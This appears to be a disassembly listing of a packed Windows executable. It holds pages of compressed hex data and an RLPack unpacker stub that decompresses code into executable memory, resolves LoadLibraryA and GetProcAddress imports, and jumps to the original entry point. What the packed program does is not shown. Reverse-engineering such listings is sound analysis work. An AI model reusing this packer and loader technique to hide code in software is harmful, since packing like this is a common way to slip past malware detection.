dd 0F8D86537h, 742610B4h, 0A1767A1Ah, 6EE16D08h, 731079E1h
dd 7470756Ch, 0EE696288h, 66684463h, 0CB93DEFFh, 3E786581h
dd 93DE84C9h, 4F64C534h, 33110C26h, 7A367771h, 2CDB4870h
dd 525FE7E2h, 26AB0C25h, 74F2115Bh, 0F281C93h, 32230884h
dd 3839086Bh, 87B1CBCBh, 456D6542h, 9019B60Ah, 97E2634Fh
dd 43E8A25Fh, 4AF0430Ch, 0E76D01E0h, 68F8E5BEh, 37AB5078h
dd 169C5DFEh, 848C6CDEh, 0C574722Ah, 708092E9h, 40084A51h
dd 75496E18h, 6665C360h, 8E164161h, 8EA1CA19h, 83FA2014h
dd 0FA586808h, 53B5222Ch, 34230835h, 0E0983190h, 0A0E77263h
dd 794FF745h, 38070AE1h, 6E8129Fh, 946B4445h, 0B844120Dh
dd 9630A2DBh, 700EE10Ch, 0B8082187h, 0E18C7046h, 4109B819h
dd 50F619B6h, 6477701Ch, 852EC24h, 0ECCA2808h, 0B810D53Eh
dd 0A4204D3Fh, 40120C64h, 96D86BCh, 7B19AF11h, 0A0882C0Fh
dd 15746CB5h, 44095C1Ch, 0A75636Fh, 51A75805h, 0BC531E30h
dd 479F6EC8h, 1B6C415Ch, 544F8474h, 62ADA721h, 32A8EE07h
dd 8A54171h, 8B34EF5Ch, 630C0DBBh, 1EC35D18h, 12706814h
dd 282D8553h, 4620BAC2h, 0E999D758h, 74BD42B8h, 63900CA5h
dd 1C8248F6h, 0A488140Ah, 64661C23h, 0E51F6FB0h, 9AE1FA78h
dd 30D6EA2h, 0FE647518h, 5DDE8AA7h, 5C55360Fh, 1C49874Dh
dd 0BDD39F48h, 633779C4h, 439D8965h, 3FD8DCF6h, 0ED7B014Dh
dd 0D2421A4h, 37C17161h, 69630D10h, 10352673h, 0B16D62DCh
dd 70CC3FB0h, 8DBAC4Ch, 47C99DDh, 0BA909424h, 8C396B13h
dd 536414A6h, 5167103Ch, 3428A6B2h, 0A470750Ah, 6E17A348h
dd 594137F8h, 79723C8Ah, 686B1B28h, 4508F442h, 0A6882138h
dd 0C54856CCh, 0AC8D5234h, 182295FFh, 0DB916C75h, 5DCC3284h
dd 34D2CC6Ah, 9418E864h, 0A2726246h, 759C2712h, 6565082Ah
dd 4CB4A450h, 406B2ABFh, 7448707Fh, 6F6AC218h, 0A2004668h
dd 621811B6h, 66E8B1E2h, 416D5B26h, 46DED32Eh, 2EE56278h
dd 0E755DC95h, 6D1FD430h, 51685B4h, 0E0685103h, 810C9CFAh
dd 0A62A6908h, 0DB044CACh, 0D4087E02h, 59715C88h, 0A8963074h
dd 2444D3A9h, 7B5D7875h, 6308EFF9h, 0A6F6CCB7h, 2BDADC48h
dd 47082271h, 57F24173h, 730C3AC5h, 1CA7F875h, 82D06E28h
dd 1053F42Ch, 20311B00h, 0DE0A0D2Dh, 0D9276310h, 0BF2DE4FCh
dd 97545F6Ch, 66E75BE7h, 0D0053C5Fh, 387608E2h, 74364398h
dd 33797877h, 1E3FD2B9h, 319E6866h, 0B6343F3Dh, 0FD12844Ah
dd 27983AE9h, 7264422Eh, 0EE787739h, 0E928D54Ah, 0E92D5390h
dd 27399304h, 0FD849D6Bh, 7CA3FE35h, 38FD7CF0h, 334A3190h
dd 30A03CF8h, 18A51466h, 652CD23Eh, 3692C38h, 42F03989h
dd 3415081Ch, 14283532h, 0A114ABA8h, 0C4A31B0h, 20373E60h
dd 26E52F22h, 25A1440h, 0C550D574h, 883C0F91h, 879CAE35h
dd 85339184h, 5028AE10h, 85949333h, 721386D0h, 0A4462014h
dd 69D32C84h, 31CDC0ACh, 3A300D1Ah, 100DE4CDh, 0FC7151AFh
dd 7C544678h, 72E7BA50h, 0B961FB6Dh, 5FB6CA6Eh, 0D630D4F4h
dd 2FFC2405h, 19053821h, 78186B04h, 0AEF41032h, 7AEA2FD4h
dd 5E4C4670h, 0DD01B962h, 0C77682ABh, 748A7414h, 0B77A93A3h
dd 4AC062B5h, 14AC1DF9h, 0BE98C54h, 0EB03D815h, 88B97015h
dd 10E1F181h, 3874805Eh, 0E201FF31h, 0E805EBF9h, 4982FE6h
dd 64DB0733h, 3330438Bh, 70B00C40h, 78F4AD1Ch, 45E80818h
dd 0FC56532Bh, 3F3C7D5Fh, 39E3B5Ch, 5B18FDDFh, 0C3830D20h
dd 337E0479h, 0C907F773h, 0C1C832ACh, 0C0840510h, 2BF61D75h
dd 58E90ECAh, 0EBD1D8A0h, 24E4035Eh, 8B6646C3h, 1CA6970Bh
dd 52BEEF10h, 5B8FC7BCh, 68A9E0FFh, 0AEACA94Bh, 0BA540990h
dd 46E0092h, 8BD6FF84h, 0EC4E81F8h, 0C38EF697h, 97016A53h
dd 7083BA93h, 3E2CDFB0h, 6D0668AEh, 0D4349C33h, 106AD880h
dd 0CBA5352h, 5A603063h, 0B4395036h, 1A55B702h, 0E2D45807h
dd 3B26BF0Ah, 57B4E5A9h, 0E7B0D5EFh, 0C2A69001h, 82504001h
dd 733B7A14h, 0D310FA1h
dd 5769D310h, 0C033428Ah, 2DA57C8h, 0A05443B0h, 7972328Dh
dd 81668019h, 11027D1Ch, 0EED754Ch, 3226F04h, 0DBABE42Ah
dd 83022C70h, 758B20ECh, 83B496EAh, 5D89980Fh, 34A1E704h
dd 65143E50h, 0A1A9C814h, 0CFFCB38h, 0F8D44589h, 55F68E90h
dd 24FF75F6h, 0E0406679h, 19F87E83h, 0E9C5850Fh, 0DF9938Bh
dd 8FC371F7h, 5E241845h, 6A24BF02h, 0FE6EC0C6h, 0D33D0ABAh
dd 14A5C6Bh, 840F401Ch, 0C38528Dh, 3ACDA74Ch, 5DAF14h
dd 0C0859D83h, 0C8B91E74h, 5357D441h, 104D8D0Ah, 1C401F51h
dd 20BEB9BAh, 39C2CBF5h, 83C5EB40h, 0BA935C10h, 446A029Dh
dd 8BE0CA81h, 0ABD7C8FCh, 3B6698D4h, 0FDE21959h, 50C55283h
dd 77000149h, 4094F12Ch, 0FE1F5826h, 3CFE53C7h, 0DE341A01h
dd 863E1418h, 0CF531497h, 0C297727h, 56850284h, 0D71B0731h
dd 0C10C46B1h, 0E32A14B8h, 13E62FA8h, 7D181D90h, 90C0ECCh
dd 7CF08804h, 1916E481h, 0EA82F78Dh, 0B0CEACFBh, 0FDB20Ch
dd 89BED5ABh, 0A5C9878Eh, 0E6A8931Dh, 0F028D354h, 85A0FBE6h
dd 0A9FFBF83h, 8D83A0D5h, 0AFD201C3h, 0C5EAA8CAh, 89720CDDh
dd 0E7631262h, 0E573C590h, 7BD46BFCh, 913C9EAAh, 8C75BC25h
dd 0ADBA03C1h, 3CC296F7h, 0ADFDEF1Ch, 0BC10F821h, 161AE295h
dd 0ACE7433Ah, 80BE4368h, 8BECABB0h, 0D69223B4h, 35FAEA42h
dd 71C79B88h, 0A6F52AB2h, 763A3EA1h, 0C1C50121h, 0C3E8A0AEh
dd 92C43A84h, 87C96CCDh, 0E0FA071h, 12EBA5A9h, 0D6855C3Bh
dd 0C93A3CD3h, 4EC8598Fh, 3A6CE4AEh, 0BAF08DCFh, 0F8F54AAFh
dd 92CC1418h, 0FFE8B01Fh, 3AC253AAh, 40B7D0B0h, 908F01E0h
dd 0AF10BB8Bh, 0BDB3E0BAh, 0B98A24EBh, 0ABFAF822h, 3EF1C843h
dd 43A5BC6h, 0CA84DF96h, 0C79AC42Eh, 0A713BD38h, 15ED98EBh
dd 26FDECE1h, 1A03A721h, 17442B6h, 1FE65AAAh, 0E1551065h
dd 4102DE81h, 96385470h, 6618C42Fh, 0D995100Ch, 492D4353h
dd 3739538Bh, 14ADF32Eh, 994B5937h, 4FC13A06h, 7E66E22Ah
dd 542F2027h, 0AA7A7296h, 8CAC534Eh, 0EDF99771h, 9D0A3AC6h
dd 0C55BEA51h, 9D793ECBh, 0C2BDA472h, 0FFC57566h, 3C21AC21h
dd 592315EFh, 6356A4C0h, 0F564C150h, 5542E9F8h, 0BBFDC79Bh
dd 87985E26h, 2C1D722Dh, 74B62C67h, 20756D3Ah, 845C760Bh
dd 6DBD7441h, 29640865h, 0C1E22B34h, 0BC746916h, 9AE7908Ah
dd 861C140Ch, 4858B4F9h, 3D7E6839h, 27346F2Bh, 0CD5E3354h
dd 0A022E1Dh, 0B63BD174h, 7A2748B6h, 194365DFh, 0B925C542h
dd 7A5CCE7Bh, 455394A4h, 0BD732926h, 0A870A34h, 291A5799h
dd 57864E55h, 38DA2065h, 0BF256575h, 0D3EAFC4Ah, 70A968AEh
dd 38E73AF9h, 1A5554C9h, 63168783h, 8BB1D21Eh, 438FB63Ah
dd 3FCB683Ch, 3A5D3A71h, 8ABF8604h, 0F4214215h, 0E15E738Bh
dd 7ED2A56Bh, 52137A78h, 0EA7D484Ah, 2E92B822h, 493B90AFh
dd 8568A6B1h, 0DEB0A479h, 37B47687h, 0DF3D2475h, 0D506623h
dd 7465266Bh, 3D156EBFh, 417903EEh, 0A07A3633h, 16643834h
dd 0E666845h, 47A767B6h, 37354352h, 6C5531DFh, 0C233F544h
dd 0EE46B899h, 0A8DD6375h, 0F55C5058h, 8965889Fh, 9B75642Eh
dd 172BF5D0h, 7306B87Ch, 0BE6DF067h, 8444A7EFh, 2F233187h
dd 42F17627h, 0B4873125h, 0AF54D44Fh, 0DC439088h, 8B4E7733h
dd 0AD3E618Eh, 1A348CF3h, 79F62E39h, 32483B84h, 145BEF9Eh
dd 9FBE9E34h, 0F24D4CC0h, 8CE7962Fh, 743BF346h, 2349DDE9h
dd 0DA2291C2h, 0EDC6758Ch, 62AA7ABh, 29DB0640h, 32BF850Ah
dd 0B2823D16h, 6A5C3732h, 68427C4Bh, 25507110h, 4C100E72h
dd 990E4230h, 91F35B02h, 50045D5Eh, 44D14C0Dh, 34903C91h
dd 4652091h, 55DC2E5Bh, 94CB0BDAh, 0F4159161h, 0DB6566D3h
dd 3D999F6Ch, 9DCEBC20h, 4E5FE68Bh, 0C020AD37h, 413A4549h
dd 6F2579B0h, 2BDE6C43h, 2A7E5020h, 0DE53491Dh, 0BDC4F94Ah
dd 953A2C18h, 1C5AB859h, 5D5CF15Ch, 0F1697666h, 0CE465A53h
dd 3D378712h, 3DC24427h, 0D19D4734h, 4EA62890h, 9B98ED2Fh
dd 99BADC20h, 490708E8h, 8E9F2498h, 363164F4h, 8B358983h
dd 783C8561h, 4E533A4Dh, 45FA4529h, 490F452Dh, 0CCB92A44h
dd 1C62892Ch, 0D2313839h, 7C10AF63h, 3218A9C8h, 5D02B22Dh
dd 20957274h, 65350EEAh, 30CC5937h, 5A64B4C6h, 14BECD4Fh
dd 65D6AAB7h, 0D24D85BAh, 6407105Eh, 31156335h, 1D3FC88Dh
dd 3B78134Dh, 0B910495Ch, 283157DAh, 0B15AF01Eh, 11D02D04h
dd 42FF398Ch, 496B1250h, 81A4319Fh, 94242F72h, 29AA9361h
dd 56B9133Fh, 4475EA35h, 3F2BF50Eh, 0D819DE65h, 75D7726Eh
dd 8B5649BCh, 2A65CED4h, 5711386Dh, 0CC6CCACCh, 1266674Fh
dd 0BE639761h, 1D74149Eh, 0AEC0C4E5h, 0EE3E55D6h, 24EEDE6Ch
dd 0C55FF258h, 0CC561914h, 590CA276h, 88392FD6h, 0D12CE22Fh
dd 0AB449BA3h, 0A3FFCF64h, 41302E36h, 70F1EB5Ah, 0C443214Ah
dd 75E050D3h, 0A995DCDh, 3129DA9Dh, 4DC233D8h, 5318A96Dh
dd 8D585117h, 2CD2D4E1h, 30893809h, 24010A14h, 721C6408h
dd 1C083914h, 238C46FCh, 0C8EC91F4h, 1401E8E8h, 0D8CA0CE0h
dd 72D06408h, 1CBC39C4h, 0AC478EB4h, 8A731C11h, 986510A0h
dd 39880832h, 8E7C1C84h, 0C8747052h, 7260E464h, 1C503958h
dd 40478E48h, 30943823h, 3924B244h, 8E141C1Ch, 4230C47h
dd 348BFC8Ah, 0CE45552h, 0D4886882h, 345EA508h, 0C3F7114Dh
dd 0CC43CB50h, 97CCED17h, 37A4C4ECh, 0D80B19ACh, 75948853h
dd 3120CF08h, 63932D88h, 7A6EE50Fh, 0BDE47555h, 797311C7h
dd 74E460FBh, 9343592Dh, 3A37AB58h, 0C148D718h, 7A392E31h
dd 0CE0CBF50h, 2F6C0335h, 62698270h, 0B5E95A06h, 10F4733Ah
dd 0B16C06B2h, 0CD2C2E08h, 6BA2B96Ch, 8A1657Fh, 0FAD1D2Dh
dd 6DA49CE5h, 759CE92Dh, 84168DDh, 1EAF7873h, 15305465h
dd 0AB3D7770h, 1467B528h, 64E738FAh, 607EA5B8h, 985095EFh
dd 0A43A202Dh, 51D99D4Eh, 7966943Ah, 40A44251h, 0BBF4D08h
dd 0E549131Ch, 97113036h, 0F0B4407Bh, 9085034h, 13701653h
dd 0E1D1A0Dh, 4A72F96Ah, 65A7539Dh, 2763CB3Ah, 3A492F3Eh
dd 0C5905378h, 6C818265h, 43688F59h, 896E7362h, 9750F88Eh
dd 34A0E473h, 41EC298Dh, 4B04B2ECh, 7FCFCAEh, 87CA88FBh
dd 0E1D4A557h, 0A30004CAh, 68CD9F82h, 0D400EE5Dh, 1FC7575Bh
dd 699AB344h, 8B95A13h, 2B2F1990h, 0F1E1C060h, 21EAC4A7h
dd 239C81D9h, 6438606Fh, 2B0EDC73h, 0FD00DD01h, 0A58EEBEDh
dd 99CC0183h, 0F59BB8DCh, 7E84E3A7h, 0EFC87FADh, 47989D62h
dd 0FA00ABA9h, 8CD5B998h, 70A6DDD9h, 0DF01AF93h, 0B2EFF403h
dd 10C08CBBh, 0E4CA93h, 8EF6E999h, 0ABB88BC5h, 97B89CBDh
dd 44F7CF1h, 0C8BB7069h, 2CF36C9Dh, 0FFF572B3h, 29ED224Bh
dd 82237335h, 0B35670B7h, 9CE1974Fh, 93BFB53Fh, 25FB6E10h
dd 0F812953Dh, 5C219079h, 16AB92ACh, 0BF3013CCh, 7A0DEA36h
dd 330CE578h, 9D107A4h, 3D60C090h, 48FDF0Bh, 8E101B54h
dd 0B41CEA65h, 0CC19D142h, 3C4CCC22h, 56173F2Eh, 12E65D5Fh
dd 0C949EF65h, 48A37940h, 0C95D7220h, 0A53A5F8Dh, 203EA950h
dd 0B075h
db 3 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
public start
start proc near
var_24 = dword ptr -24h
pusha
call $+5
lea esp, [esp+4]
mov ebp, [esp+20h+var_24]
lea esi, [ebp+24Ch]
lea ebx, [ebp+113h]
xor edi, edi
jmp short loc_4288DC
; ---------------------------------------------------------------------------
loc_4288CD: ; CODE XREF: start+31j
push dword ptr [edi+esi+4]
push dword ptr [edi+esi]
call ebx ; recv
add esp, 8
add edi, 8
loc_4288DC: ; CODE XREF: start+1Cj
cmp dword ptr [edi+esi], 0
jnz short loc_4288CD
lea esi, [edi+esi+4]
push ebx
push 40h
push 1000h
push 70Eh
push 0
call dword ptr [ebp+1F9h]
mov [ebp+248h], eax
pop ebx
push dword ptr [ebp+248h]
push esi
call ebx ; recv
add esp, 8
mov esi, [ebp+248h]
mov eax, esi
jmp short loc_428919
; ---------------------------------------------------------------------------
loc_428918: ; CODE XREF: start+6Dj
inc eax
loc_428919: ; CODE XREF: start+67j
cmp byte ptr [eax], 1
jnz short loc_428918
inc eax
mov edi, [eax]
add eax, 4
mov [ebp+244h], eax
jmp short loc_4289A6
; ---------------------------------------------------------------------------
loc_42892C: ; CODE XREF: start+FAj
push esi
call dword ptr [ebp+1F1h]
mov [ebp+240h], eax
mov eax, esi
jmp short loc_42898C
; ---------------------------------------------------------------------------
loc_42893D: ; CODE XREF: start+E0j
mov eax, [ebp+244h]
mov eax, [eax]
test eax, 80000000h
jz short loc_428960
xor eax, 80000000h
push eax
mov eax, [ebp+244h]
mov dword ptr [eax], 202020h
jmp short loc_428966
; ---------------------------------------------------------------------------
loc_428960: ; CODE XREF: start+9Bj
push dword ptr [ebp+244h]
loc_428966: ; CODE XREF: start+AFj
push dword ptr [ebp+240h]
call dword ptr [ebp+1F5h]
mov [edi], eax
add edi, 4
mov eax, [ebp+244h]
jmp short loc_428980
; ---------------------------------------------------------------------------
loc_42897F: ; CODE XREF: start+D4j
inc eax
loc_428980: ; CODE XREF: start+CEj
cmp byte ptr [eax], 0
jnz short loc_42897F
inc eax
mov [ebp+244h], eax
loc_42898C: ; CODE XREF: start+8Cj
cmp byte ptr [eax], 0
jnz short loc_42893D
jmp short loc_428994
; ---------------------------------------------------------------------------
loc_428993: ; CODE XREF: start+E8j
inc esi
loc_428994: ; CODE XREF: start+E2j
cmp byte ptr [esi], 0
jnz short loc_428993
inc esi
inc eax
mov edi, [eax]
add eax, 4
mov [ebp+244h], eax
loc_4289A6: ; CODE XREF: start+7Bj
cmp byte ptr [esi], 1
jnz short loc_42892C
push 4000h
push 70Eh
push dword ptr [ebp+248h]
call dword ptr [ebp+1FDh]
popa
push offset sub_4111E8
retn
start endp
; ---------------------------------------------------------------------------
pusha
mov esi, [esp+24h]
mov edi, [esp+28h]
cld
mov dl, 80h
xor ebx, ebx
loc_4289D6: ; CODE XREF: .RLPack:004289DEj
movsb
mov bl, 2
loc_4289D9: ; CODE XREF: .RLPack:00428A03j
; .RLPack:00428A49j
call sub_428A4B
jnb short loc_4289D6
xor ecx, ecx
call sub_428A4B
jnb short loc_428A05
xor eax, eax
call sub_428A4B
jnb short loc_428A15
mov bl, 2
inc ecx
mov al, 10h
loc_4289F7: ; CODE XREF: .RLPack:004289FEj
call sub_428A4B
adc al, al
jnb short loc_4289F7
jnz short loc_428A41
stosb
jmp short loc_4289D9
; ---------------------------------------------------------------------------
loc_428A05: ; CODE XREF: .RLPack:004289E7j
call sub_428A57
sub ecx, ebx
jnz short loc_428A1E
call sub_428A55
jmp short loc_428A3D
; ---------------------------------------------------------------------------
loc_428A15: ; CODE XREF: .RLPack:004289F0j
lodsb
shr eax, 1
jz short loc_428A67
adc ecx, ecx
jmp short loc_428A3A
; ---------------------------------------------------------------------------
loc_428A1E: ; CODE XREF: .RLPack:00428A0Cj
xchg eax, ecx
dec eax
shl eax, 8
lodsb
call sub_428A55
cmp eax, 7D00h
jnb short loc_428A3A
cmp ah, 5
jnb short loc_428A3B
cmp eax, 7Fh
ja short loc_428A3C
loc_428A3A: ; CODE XREF: .RLPack:00428A1Cj
; .RLPack:00428A2Ej
inc ecx
loc_428A3B: ; CODE XREF: .RLPack:00428A33j
inc ecx
loc_428A3C: ; CODE XREF: .RLPack:00428A38j
xchg eax, ebp
loc_428A3D: ; CODE XREF: .RLPack:00428A13j
mov eax, ebp
mov bl, 1
loc_428A41: ; CODE XREF: .RLPack:00428A00j
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp short loc_4289D9
; =============== S U B R O U T I N E =======================================
sub_428A4B proc near ; CODE XREF: .RLPack:loc_4289D9p
; .RLPack:004289E2p ...
add dl, dl
jnz short locret_428A54
mov dl, [esi]
inc esi
adc dl, dl
locret_428A54: ; CODE XREF: sub_428A4B+2j
retn
sub_428A4B endp
; =============== S U B R O U T I N E =======================================
sub_428A55 proc near ; CODE XREF: .RLPack:00428A0Ep
; .RLPack:00428A24p
xor ecx, ecx
sub_428A55 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_428A57 proc near ; CODE XREF: .RLPack:loc_428A05p
inc ecx
loc_428A58: ; CODE XREF: sub_428A57+Dj
call sub_428A4B
adc ecx, ecx
call sub_428A4B
jb short loc_428A58
retn
sub_428A57 endp
; ---------------------------------------------------------------------------
loc_428A67: ; CODE XREF: .RLPack:00428A18j
sub edi, [esp+28h]
mov [esp+1Ch], edi
popa
retn
; ---------------------------------------------------------------------------
align 4
dd 2 dup(0)
dd 28A9900h, 28AA600h, 5 dup(0)
dd 72656B00h, 336C656Eh, 6C642E32h, 5D8006Ch, 0A5FD77E8h
dd 980A77E7h, 9E3477E7h, 77E7h, 0
aLoadlibrarya db 'LoadLibraryA',0
align 2
aGetprocaddress db 'GetProcAddress',0
align 2
aVirtualalloc db 'VirtualAlloc',0
align 4
aVirtualfree db 'VirtualFree',0
dd 0D4000000h, 3204B777h, 32000000h, 41C00000h, 40100000h
dd 4259F100h, 41200000h, 4260EC00h, 41300000h, 0
dd 53004D00h, 54524356h, 0E36C642Eh, 32EC57C1h, 0A833735Fh
dd 39454B0Bh, 4CA94E52h, 53558D0Dh, 410B0C1Ch, 94564439h
dd 0C60D4950h, 8C464853h, 0F84F7A24h, 54552941h, 1801870Dh
dd 5F00DE21h, 616F7469h, 0C7730CCEh, 63A16E72h, 148E706Dh
dd 54277843h, 776FD168h, 65FBE345h, 0E56974F9h, 0C53FC16Eh
dd 0EF79E131h, 66F654EEh, 55E240FCh, 9A45413Ah, 505A58h
dd 61724629h, 48653A6Dh, 6F9C6E37h, 62363D5Ch, 63756E8Ah
dd 774C47E1h, 191BCE61h, 467970F1h, 6E513E07h, 600E0616h
dd 766FCCE5h, 0C680B6EBh, 6C068922h, 6E737600h, 0BEDE707Dh
dd 421F66D4h, 6C926686h, 8472F696h, 1D1A0F82h, 40328901h
dd 23D94759h, 5ABB4958h, 0F7331B22h, 821B1DB6h, 5F0D2386h
dd 13676562h, 6173C107h, 7E78D364h, 0EEC6A61Eh, 70A4AC68h
dd 691CCC33h, 0C1DC66E1h, 0FB1C3634h, 0D6AC5137h, 84B4AC63h
dd 0B68A85FFh, 0ED00725h, 1C786DC4h, 696FCF01h, 65D7BFC3h
dd 830C6B16h, 6F0C155Ch, 6D7CD570h, 992A7A63h, 7468770Eh
dd 9A080FB6h, 5ED0B486h, 6F349BCAh, 68DB430Eh, 0DE5529D5h
dd 783064Eh, 946C976Fh, 2722B582h, 70F3B35Fh, 220824DAh
dd 0E04189Eh, 9C89780h, 22129116h, 13024415h, 0A120589h
dd 0C481724h, 6F223391h, 89030144h, 24091270h, 91064834h
dd 4410220Bh, 74891408h, 2291112h, 8A494150h, 39998780h
dd 991731Bh, 3032700Dh, 8247FC20h, 856F43C0h, 0D704758Ch
dd 0E9944E72h, 1856114Ch, 90159A73h, 4C0E891Eh, 0EEBE72A0h
dd 0CC199A49h, 755D531Eh, 1D27251h, 0B36944E8h, 0E36FA20Ch
dd 6C2A2B79h, 482D22D7h, 64240357h, 1E7314D6h, 4B4B43B2h
dd 9346BA24h, 9205C21h, 0D2DA547Dh, 0DF0C1696h, 8C79DB31h
dd 5838BAEFh, 6C79754Dh, 9FF342FCh, 0AAF5542Ah, 0A43E809h
dd 8B20A9DFh, 0D7A7EBEBh, 427A9F62h, 0C3504D24h, 64CB635Bh
dd 0C2A3688Eh, 69AE0A85h, 820CA010h, 727988D2h, 28614CE3h
dd 0D3B445B4h, 95561DAAh, 0FB9B8A69h, 6863860Ah, 523A9950h
dd 690A9FA1h, 0A5A88870h, 4DEC6250h, 822388A2h, 2C337453h
dd 0A1449675h, 35616C70h, 0E80342A6h, 4D69C82Eh, 2E6AE67Ah
dd 49643891h, 87DCA140h, 22FAFE37h, 0A85209CEh, 39B37349h
dd 0D530414Dh, 0A541490Ch, 0AC1F2011h, 704F4D7Ch, 0C903943h
dd 0B59091D1h, 0E80E4E69h, 0FFBE540Fh, 84436548h, 9F499290h
dd 55959E42h, 14D241CEh, 0D4552792h, 0BF32A215h, 7F856446h
dd 8A34D444h, 54C762A4h, 56B044C6h, 0FA06E4Ch, 0E2695670h
dd 99664F77h, 0E4F4DABh, 319BC153h, 6753F68Eh, 73AA50BBh
dd 64616F4Ch, 7262694Ch, 41797261h, 65470000h, 6F725074h
dd 64644163h, 73736572h, 69560000h, 61757472h, 6C6C416Ch
dd 636Fh, 74726956h, 466C6175h, 656572h, 3 dup(0)
dd 41C00000h, 40100000h, 4259F100h, 41200000h, 4260EC00h
dd 41300000h, 0
dd 53004D00h, 54524356h, 0E36C642Eh, 32EC57C1h, 0A833735Fh
dd 39454B0Bh, 4CA94E52h, 53558D0Dh, 410B0C1Ch, 94564439h
dd 0C60D4950h, 8C464853h, 0F84F7A24h, 54552941h, 1801870Dh
dd 5F00DE21h, 616F7469h, 0C7730CCEh, 63A16E72h, 148E706Dh
dd 54277843h, 776FD168h, 65FBE345h, 0E56974F9h, 0C53FC16Eh
dd 0EF79E131h, 66F654EEh, 55E240FCh, 9A45413Ah, 505A58h
dd 61724629h, 48653A6Dh, 6F9C6E37h, 62363D5Ch, 63756E8Ah
dd 774C47E1h, 191BCE61h, 467970F1h, 6E513E07h, 600E0616h
dd 766FCCE5h, 0C680B6EBh, 6C068922h, 6E737600h, 0BEDE707Dh
dd 421F66D4h, 6C926686h, 8472F696h, 1D1A0F82h, 40328901h
dd 23D94759h, 5ABB4958h, 0F7331B22h, 821B1DB6h, 5F0D2386h
dd 13676562h, 6173C107h, 7E78D364h, 0EEC6A61Eh, 70A4AC68h
dd 691CCC33h, 0C1DC66E1h, 0FB1C3634h, 0D6AC5137h, 84B4AC63h
dd 0B68A85FFh, 0ED00725h, 1C786DC4h, 696FCF01h, 65D7BFC3h
dd 830C6B16h, 6F0C155Ch, 6D7CD570h, 992A7A63h, 7468770Eh
dd 9A080FB6h, 5ED0B486h, 6F349BCAh, 68DB430Eh, 0DE5529D5h
dd 783064Eh, 946C976Fh, 2722B582h, 70F3B35Fh, 220824DAh
dd 0E04189Eh, 9C89780h, 22129116h, 13024415h, 0A120589h
dd 0C481724h, 6F223391h, 89030144h, 24091270h, 91064834h
dd 4410220Bh, 74891408h, 2291112h, 8A494150h, 39998780h
dd 991731Bh, 3032700Dh, 8247FC20h, 856F43C0h, 17D0h dup(0)
db 0
_RLPack ends
; Section 3. (virtual address 0002F000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 0002F000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 42F000h
align 2000h
_idata2 ends
end start